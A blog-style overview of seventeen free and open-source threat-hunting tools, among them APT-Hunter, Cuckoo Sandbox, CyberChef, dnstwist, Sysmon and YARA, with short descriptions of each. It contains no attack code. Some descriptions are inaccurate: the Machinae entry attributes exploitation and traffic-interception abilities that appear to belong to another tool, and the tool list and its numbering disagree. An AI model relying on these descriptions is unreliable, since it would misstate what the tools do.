Free and Open Source Threat Hunting Tools: The Best Options
Threat hunting is a proactive cybersecurity procedure that looks for sophisticated threats inside the digital infrastructure of an organization. The premise of threat hunting is frequently the assumption that the network has already been compromised by malware. Because of this, security experts like Threat Hunters look for signs of an attack while using specialized tools and procedures to find and separate cyber threats.
An attacker can enter a network covertly and remain there for months as they silently gather information, search for sensitive documents, or get login credentials that allow them to roam around the environment. Many businesses lack the sophisticated detection skills required to prevent advanced persistent threats(APTs) from lingering in the network once an adversary has been successful in escaping detection and an assault has breached an organization's defenses. Threat hunting is therefore a crucial element of any defense strategy.
Over 450,000 new malware strains are discovered every day, according to researchers. The responsibility of implementing and managing appropriate security defenses becomes crucial. To fend off the exponential rise in cyber threats, cybersecurity posture must always be improved. Threat Hunters are there to plan and thwart any threats because of this. According to a survey published in VMware's Carbon Black Global Threat Report (2020), 88% of CISOs and IT Managers said they are including threat hunting in their cybersecurity strategy because they believe it is quickly becoming necessary. According to the SANS 2020 Threat Hunting Survey, 29% of respondents' firms aim to undertake cyber threat hunting within the next 12 months, while 65% of respondents' organizations are already engaged in it in some capacity.
Threat-hunting investigations include gathering a wide range of categories and data from various sources, which takes a lot of time to manually filter through and separate into useful and useless data. Automation can significantly shorten the time needed for data gathering. Using threat-hunting approaches, you discover risks that standard instruments miss. This aids in the threat's neutralization before it may further harm the organization's systems and data.
Threat hunting gives IT analysts a thorough understanding of the company's total security capacity. Threat hunting can provide you with significant insights even if no threats are found. Increasing defenses that you can further strengthen lowers the likelihood of future hazards.
In this article, we will give the hints for selecting an effective threat-hunting tool and discuss top free and open-source threat-hunting tools.
What should you look for in a Threat-Hunting Tool?
Security analysts who employ human or computer-assisted methods to find, isolate, and stop APTs that are not picked up by automated security technologies are known as threat hunters.
Threat hunters complement their approaches with a range of tools such as Artificial intelligence, machine learning, advanced analytics, analytical statistics, information analytics, and security monitoring.
Threat hunters look for the following key features in a threat hunting tool:
-
a data collection service that provides threat hunters with event information,
-
data aggregation to uniformize event record format,
-
a free trial or demo version of the system to test it out before buying,
-
a security policy governs threat detection,
-
options for manual analysis,
-
automated response settings.
Top Free and Open Source Threat Hunting Tools
Threat hunting significantly improves the cybersecurity strategy. The fundamental tenet of threat hunting is the understanding that no system is completely secure, and that the threat hunter can anticipate attacks and actively stop them. The threat of cyberattacks continually increases, and more businesses are at risk every day from an increasing variety of lethal malware. The threat-hunting platform you use to protect your company shouldn't take a break since these dangers do not. To secure your business, it is essential to use only the best threat-hunting tools and threat-hunting platforms. Here is our list of free and most common threat-hunting tools:
-
AIEngine
-
APT-Hunter
-
AttackerKB
-
Automater
-
BotScout
-
CrowdFMS
-
Cuckoo Sandbox
-
CyberChef
-
DeepBlueCLI
-
dnstwist
-
Machinae
-
Maltego CE
-
Phishing Catcher
-
Sysmon
-
YARA
-
YETI
Figure 1. Top Free and Open Source Threat Hunting Tools
1. AI Engine
The Artificial Intelligence Engine, often known as AIEngine, is an interactive tool that may be used to update the network's intrusion detection system. AIEngine is a Python, Ruby, Java, and Lua packet inspection engine. The next-generation interactive/programmable NIDS (Network Intrusion Detection System) functionality, DNS domain classification, network collector, network forensics, and many more features are all features of the AIEngine.
Artificial Intelligence Engine, or AIEngine, can detect spam and collect networks without the need for human contact for learning and network forensics. It is one of the examples of situational awareness-driven tools. This tool helps IT workers comprehend traffic more clearly and create signatures for use with firewalls and other security programs. It supports a wide range of systems and add-ons that a threat hunter would find valuable.
2. APT-Hunter
APT-Hunter is a threat-hunting tool for Windows event logs that can find suspicious activity and track down APT movements. The creator is Ahmed Khlief. Threat Hunters, Incident Responders, or forensic investigators will find this tool handy. This tool's default rules will map the tactics and techniques of the Mitre ATT&CK framework to Windows event log event IDs and detect the indicator of attack, which includes the apt techniques.
APT-Hunter is a limitless, open-source utility that is available for free. Based on activities from previously discovered APT attacks, it can identify APT movements within the system. Its quicker attack detection will shorten the time it takes to react, allowing for the swift containment and eradication of attacks. It can be used as a filter and can reduce millions of events to just a few serious ones.
APT-Hunter has two components that work together to aid the user in swiftly obtaining the data. This program is used to expedite the Windows log analysis, but it isn't ever completely replace it.
3. Attacker KB
When a new vulnerability generates discussion on Twitter or reaches the news, it can be tough for security teams to identify risk and importance within the noise. How widespread is the weakness? Is the predicted shelf life sufficient to warrant building an exploit? Does it make sense to abandon everything to repair or mitigate? Does the adversary or threat actor have the intent or motivation to exploit the opening? Or is it neither useful nor interesting?
Almost usually, security experts and hackers are the first to shed light on the precise conditions and qualities that make a vulnerability not only exploitable but also advantageous to an attacker. AttackerKB was created to record, showcase, and increase the security community's expertise.
AttackerKB is a threat-hunting solution that gives adversaries and their hunters all they require to comprehend exploits. This covers information disclosure, technical evaluation, results, exploitability, usability, and much more. Threat Hunters can use this information to recognize and rank both recent and historical weaknesses. Threat researchers are able to determine which vulnerabilities apply to their organizations.
4. Automater
Another threat-hunting tool Automater from TekDefense can analyze URLs, hashes, and URLs to make intrusion analysis much more frictionless. Simply select a target, and Automater gathers pertinent information from well-known sources. You can change which sources the system checks and what information is retrieved from them. This application's interface is quite user-friendly, even for a beginner, and modification of the Python code is not necessary to utilize it.
Automater can conduct OSINT searches on IP addresses, MD5 hashes, and domain addresses. Unshorten.me, Urlvoid.com, IPvoid.com, Robtex.com, Fortiguard.com, Labs.alienvault.com, ThreatExpert, VxVault, and VirusTotal are some of the reliable websites that the Automater tool uses to return the pertinent results. The Python-developed Automater tool is made available on the GitHub platform. This utility is built on Python and is free, open source, and accessible via GitHub.
5. BotScout
BotScout is a threat-hunting tool that aids in preventing automated web scripts, also referred to as "bots", from filling out forms on websites, spamming, and creating accounts on forums. To accomplish this, BotScout monitors the names, IP addresses, and email addresses that bots employ and records them as distinctive signatures for future use. You can use the signature data provided by BotScout through a straightforward yet effective API to evaluate forms as they are submitted on your website.
Users can manually search the BotScout database to discover bots on their forums, but they can also test for bots using contact forms or other web applications and immediately reject or ban them. Users can obtain a free API key if they require more than 1000 automatic lookups per day so that they can perform as many as they require. Also for well-known forums, anti-bot plugins are available.
BotScout is used by people, businesses, and universities all over the world such as Oracle Corporation, Deutsche Bank, Banco di Napoli, University of Washington, University of Milan, and more to help identify and remove bots.
6. CrowdFMS
The automated program crowdFMS collects and processes samples obtained from a website that publishes information on phishing emails. An alert is triggered if a phishing email reaches the network.
By utilizing the Private API architecture, CrowdFMS provides a framework for automating the collecting and processing of samples from VirusTotal. The user's YARA notification feed was alerted when the framework downloaded recent samples on its own. Users can also specify a specific command to run these samples using their YARA ID.
7. Cuckoo Sandbox
Cuckoo Sandbox is an open-source automated malware analysis system. Cuckoo can be downloaded for free, but installing it for the first time can be difficult and time-consuming due to the numerous dependencies it needs. Once installed, though, Cuckoo is a very helpful tool.
Cuckoo can examine a wide range of malicious files (executables, office documents, pdf files, emails, malicious scripts), as well as malicious websites, once it has been configured. The analysis environment, processing of the analysis data, and reporting stage may all be customized with Cuckoo because of its open-source nature and broad modular design. Under Windows, Linux, macOS, and Android virtualized environments, Cuckoo Sandbox can evaluate a wide variety of malicious files (executables, office documents, pdf files, emails, etc.) as well as malicious websites. Through Volatility and YARA, Cuckoo Sandbox can also carry out sophisticated memory analysis on the infected virtualized system on a process-by-process basis.
Two pieces of equipment form a Cuckoo sandbox. It is a Linux Ubuntu host, on top of which is a Windows 7 system that is nested.
The primary Cuckoo package, which is based on Python, is installed on the Ubuntu host, along with several dependencies that are set up to take advantage of Cuckoo's modular characteristics.
VirtualBox is set up on the Ubuntu host, and a Windows 7 guest is created. The Windows 7 machine has a Cuckoo agent installed, enabling communication between the two devices.
8. CyberChef
CyberChef is a web application developed by GCHQ. It is also called the "Cyber Swiss Army Knife". CyberChef is protected by Crown Copyright and distributed under the Apache 2.0 License.
CyberChef is a straightforward, user-friendly web application for doing various "cyber" operations in a web browser. Creating binary and hex dumps, compressing and decompressing data, computing hashes and checksums, parsing IPv6 and X.509, altering character encodings, and many more tasks are included in these operations. Simple encodings like XOR and Base64 are also included.
Technical and non-technical analysts can modify data in complex ways with the help of the program without having to deal with complicated tools or methods. It was created, designed, implemented, and incrementally refined over several years by an analyst using their 10% innovation time.
CyberChef can be used to conduct various tasks on data, including encoding, decoding, formatting, parsing, compressing, extracting, performing mathematical operations on the data, and defanging it.
9. DeepBlue CLI
DeepBlueCLI is an open-source tool that automatically analyzes Windows event logs on Linux/Unix systems running ELK (Elasticsearch, Logstash, and Kibana) or Windows (PowerShell version) (Python version). It was created by Eric Conrad and it is available on GitHub.
Fast detection of specific events found in Windows Security, System, Application, PowerShell, and Sysmon logs is made possible by DeepBlueCLI. When dealing with saved or archived EVTX files, DeepBlueCLI is rapid. Even though it takes a little longer, querying the active event log service is still just as efficient.
10. dnstwist
Using the Python script Dnstwist, which was developed by Marcin Ulikowski, you may identify phishing, typosquatters, and attack domains that are based on a given domain. This tool is very helpful for identifying websites that are attempting to damage people by impersonating your brand if you are the owner of a website or in charge of your company's domain administration and brand safety.
The idea of dnstwist is rather straightforward. It accepts a domain name as an input and then employs some algorithms to produce derivative domains that might be used for phishing, typosquatting, or corporate espionage. To acquire a list of probable attack domains, just enter a domain. While somewhat beneficial, you can narrow down your search to just what you're after by using different command-line options.
DNSTwist uses dictionary files to provide more domain variations, it offers a range of efficient domain fuzzing strategies and also provides GeoIP location.
11. Machinae
The Machinae is a tool for gathering intelligence on numerous security-related bits of information from publicly accessible websites and feeds, including IP addresses, domain names, URLs, email addresses, file hashes, and SSL fingerprints. Automater, another top-notch application for data collection, served as its inspiration. The goal of the Machinae project was to enhance Automater in the following four areas: codebase, configuration, inputs, and outputs.
Machinae is at a whole new level when it comes to looking for hidden or publicly available information because it is an intelligence-driven information-gathering tool. No matter where in the system the Intel is concealed, this tool can trick any system into disclosing important data. With its intelligence threat analysis, malware, and adaptable security scans, it is the best when it comes to identifying and exploiting system weaknesses.
The ability to access domain names, SSL fingerprints and email addresses are provided by Machinae. It gathers all the minute pieces of data from any network and combines them to create a single block of valuable intelligence information. Like any other interactive media, it enables you to change and replay HTTP/1, HTTP/2 traffic, WebSockets, and other SSL-protected protocols to intercept and analyze Intel before it reaches the intended recipient.
12. Maltego CE
Maltego is an open-source information-gathering and graphical link analysis tool for tasks related to conducting investigations. Maltego is a Java program that works with Windows, Mac, and Linux systems. A wide variety of users, including security experts, forensic investigators, investigative journalists, and researchers, use Maltego.
Security experts use Maltego Community Edition, or CE, which comes pre-installed with Kali Linux. Maltego's free version is called Maltego CE. After a brief online registration, the community version of Maltego (Maltego CE) is freely accessible. Maltego CE has minor restrictions but many of the same features as the commercial edition. There are restrictions on the maximum number of Entities that can be returned from a single Transform, with the principal restriction being that the CE edition cannot be used for commercial reasons.
With Maltego CE, many analysts can view graphs in real-time within a single session, up to 10,000 Entities can be analyzed for links in a single graph, up to 12 results can be returned by a transform and Maltego CE also comes with collection nodes, which automatically group Entities together based on shared characteristics. This feature enables you to filter out the background noise and locate the important links you're looking for.
13. Phishing Catcher
Phishing Catcher is an open-source tool that searches for suspect certificates and potential phishing domains using the CertStream API. Even though Phishing Catcher began as a straightforward POC (proof of concept), it has now been used by numerous threat hunters and has shown to be very effective. As its name implies, it focuses on stopping phishing attacks. By primarily "searching for suspect TLS certificate issuances provided to the Certificate Transparency Log (CTL) via the CertStream API", Phishing Catcher accomplishes its task. The fact that Phishing Catcher operates in almost real-time is a benefit.
It is quite simple to use because it is written in Python and uses YAML for configuration. It already has a default configuration file, so you can download it, run it, and start using it right away. Of course, changing the default settings or making your configuration file customized for your business will provide you the optimum security.
14. Sandbox Scryer
Sandbox Scryer is an open-source tool that uses the results of sandbox detonations to provide threat-hunting and intelligence information. To organize and prioritize discoveries, the tool uses the MITRE ATT&CK Framework. This helps in gathering indications of compromise (IOCs), comprehending attack movement, and identifying dangers. Sandbox Scryer assists in solving use cases at scale by enabling researchers to send thousands of samples to a sandbox to create a profile for use with the ATT&CK approach. For cybersecurity professionals interested in threat hunting and attack analysis using sandbox output data, the tool is designed. To assist analysts in accelerating and scaling threat hunting as part of SOC operations, Sandbox Scryer consumes output from the free and open Hybrid Analysis malware analysis service.
15. Sysmon
System Monitor (Sysmon) is a Windows system service and device driver that, after being installed on a system, stays in place throughout system reboots to track and record system activity in the Windows event log. The establishment of processes, network connections, and adjustments to file creation times are all covered in detail. You may spot suspicious or out-of-the-ordinary activities and learn how malware and intruders operate on your network by gathering the events it generates using Windows Event Collection or SIEM agents and analyzing them afterward. Sysmon makes no effort to defend itself against intruders or offer analysis of the events it creates.
16. YARA
When it comes to threat hunting, YARA is one of the most well-liked instruments. Malware can be recognized and categorized using textual or binary patterns. YARA's sole purpose at first was to serve as a straightforward malware classification tool. However, since its inception, it has significantly expanded. Because YARA allows you to build rules and utilize them for malware detection, even several commercial security systems now use it internally. However, that is only the most typical use case. YARA rules can be applied to many different tools, including those found on websites like VirusTotal. Another nice feature of YARA is that you can use it from a command line or your Python scripts. It also runs on Windows, Linux, and Mac OS X.
17. YETI
The platform YETI was developed in response to security analysts' desire to centralize several threat data streams. Indicators of Compromise (IoCs) and data on the strategies, methods, and procedures (TTPs) used by attackers are organized by analysts using YETI into a single, centralized repository. After being digested, YETI automatically enriches the indications, for example, by geolocating IP addresses or resolving domains.
YETI was created in Python 2.7 and uses Django 1.7 as its web framework. It aids in the testing of TAXII applications and increases user comfort with the TAXII platform. Threat information can be seamlessly shared across product lines, service boundaries, and organizations thanks to a system of message exchanges and services called Trusted Automated eXchange of Indicator Information (TAXII). The pool, discovery, and inbox services outlined by TAXII are supported by YETI.